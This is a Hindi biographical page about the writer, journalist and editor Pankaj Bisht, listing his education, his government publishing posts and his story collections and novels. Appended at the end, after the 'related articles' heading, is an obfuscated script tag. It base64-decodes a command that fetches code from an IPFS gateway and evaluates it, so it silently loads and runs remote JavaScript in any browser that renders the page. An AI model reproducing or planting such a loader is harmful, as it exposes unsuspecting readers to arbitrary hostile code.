पंकज बिष्ट
पंकज बिष्ट (अंग्रेज़ी: Pankaj Bisht, जन्म- 20 फ़रवरी, 1946, मुम्बई) हिन्दी साहित्य के प्रतिष्ठित पत्रकार, कहानीकार, उपन्यासकार व समालोचक है। वे दिल्ली से प्रकाशित 'समयांतर' नामक हिन्दी साहित्य की मासिक पत्रिका का सम्पादन व संचालन कर चुके हैं। उनके सहज लेखन में तीन बातें गौरतलब और महत्वपूर्ण हैं। पहला- उनकी कहानियों का मूल स्वर, दूसरा- उनकी लेखकीय विनम्रता और तीसरा- कथा निर्मिति में ‘निज’ की भूमिका का महत्व। पंकज बिष्ट मूलतः एक समय और शिल्प सजग कथाकार हैं। अपने समय में घटित होनेवाले सामाजिक-सांस्कृतिक बदलावों की पहचान करते हुये, उनकी दूरगामी चुनौतियों और प्रभावों को अभिव्यक्त करने हेतु कथा-रचना की नई प्रविधि का संधान इनकी कथा-यात्रा की बड़ी विशेषता है।
परिचय
पंकज बिष्ट का जन्म 20 फ़रवरी, 1946 को मुम्बई, महाराष्ट्र में हुआ। वे मूलत: उत्तराखण्ड के कुमांऊँ क्षेत्र के अन्तर्गत अल्मोड़ा जिले में स्थित नौगाँव नामक गांव के हैं। उन्होंने आगरा विश्वविद्यालय से 1966 में स्नातक करने के पश्चात 1969 में मेरठ विश्वविद्यालय से अंग्रेज़ी साहित्य में एम. ए. किया। विद्याध्ययन के दौरान से ही लेखन चलता रहा।
व्यावसायिक शुरुआत
पंकज बिष्ट के व्यावसायिक जीवन का आरम्भ 1969 में भारत सरकार के सूचना सेवा विभाग से हुआ। वह भारत सरकार के सूचना सेवा के प्रकाशन विभाग में उपसंपादक व सहायक संपादक, योजना के अंग्रेजी सहायक सम्पादक, आकाशवाणी की समाचार सेवा में सहायक समाचार संपादक व संवाददाता, भारत सरकार के फिल्म्स डिवीजन में संवाद-लेखन के रूप में कार्यरत रहे, आकाशवाणी पत्रिका का संपादन किया तथा भारत सरकार के प्रकाशन विभाग की 'आजकल' नामक हिन्दी पत्रिका के साथ संपादक के तौर पर कार्य किया।
कृतियाँ
- कहानी संग्रह
- अंधेरे से असगर वजाहत के साथ
- बच्चे गवाह नहीं हो सकते
- पंद्रह जमा पच्चीस
- टुंड्रा प्रदेश तथा अन्य कहानियाँ
- संकलित कहानियाँ (राष्ट्रीय पुस्तक न्यास, भारत द्वारा सम्पादित)
- लेख संग्रह
- हिंदी का पक्ष
- कुछ सवाल कुछ जवाब
- शब्दों के घर
- बाल उपन्यास
- गोलू और भोलू
- उपन्यास
- लेकिन दरवाज़ा
- उस चिड़िया का नाम
- पंखवाली नाव
- शताब्दी से शेष
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>